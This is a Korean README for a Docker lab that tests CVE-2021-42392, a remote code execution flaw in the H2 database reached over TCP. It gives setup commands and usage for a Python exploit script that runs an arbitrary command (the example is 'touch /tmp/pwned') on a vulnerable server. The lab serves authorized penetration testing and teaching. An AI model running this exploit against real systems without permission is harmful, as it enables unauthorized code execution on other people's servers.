
CVE-2021-42392 H2 Database RCE를 TCP를 통해 테스트하기 위한 통제된 실험실 환경. 취약한 H2 서버, Python 익스플로잇 스크립트, 그리고 윤리적 침투 테스트 및 교육을 위한 Docker 설정을 포함합니다.
이 저장소는 CREATE ALIAS 기능을 사용하여 H2 데이터베이스 원격 코드 실행 취약점 (CVE-2021-42392) 을 테스트하기 위한 최소한의 통제된 환경을 제공합니다. 많은 데모와 달리 이 익스플로잇은 H2 웹 콘솔에 의존하지 않고 H2 TCP 서비스(일반적으로 포트 9092)를 직접 대상으로 합니다.
🛑 교육 및 테스트 목적으로만 사용하십시오. 소유하지 않거나 명시적 테스트 허가를 받지 않은 시스템에서는 사용하지 마십시오.
CVE-2021-42392는 H2 데이터베이스 버전 2.0.206 이전의 심각한 취약점으로, 데이터베이스가 TCP 또는 웹 콘솔을 통해 노출된 경우 CREATE ALIAS를 통해 원격 코드 실행을 허용합니다.
이 프로젝트는 다음을 포함합니다:
2.0.202 버전을 실행하는 취약한 H2 데이터베이스 서버jaydebeapi 및 JPype를 사용하는 Python 익스플로잇 스크립트Docker 사용 시:
Docker 외부에서 익스플로잇을 실행하는 경우:
git clone https://github.com/Be-Innova/CVE-2021-42392-exploit-lab
cd h2-cve-2021-42392-poc
docker compose build
docker compose up -d
docker compose exec client bash
python3 h2_exploit.py --url jdbc:h2:tcp://h2-vulnerable\:9092/~/test --cmd "touch /tmp/pwned" --jar /jars/h2.jar
python3 h2_exploit.py --url <jdbc-url> --cmd "<command>" --jar "path-to-jar"
인자:
--url: 취약한 H2 인스턴스의 JDBC URL (예: jdbc:h2:tcp://192.168.1.100\:9092/~/test)--cmd: 취약한 서버에서 실행할 명령어--jar: H2 드라이버 JAR의 선택적 경로 (기본값: /jars/h2.jar)9092 포트 개방javac 컴파일러 설치이 코드는 교육 및 윤리적 침투 테스트를 위해 격리된 환경에서 있는 그대로 제공됩니다. 승인되지 않은 시스템에서 사용하지 마십시오. 저자는 오용에 대한 책임을 지지 않습니다.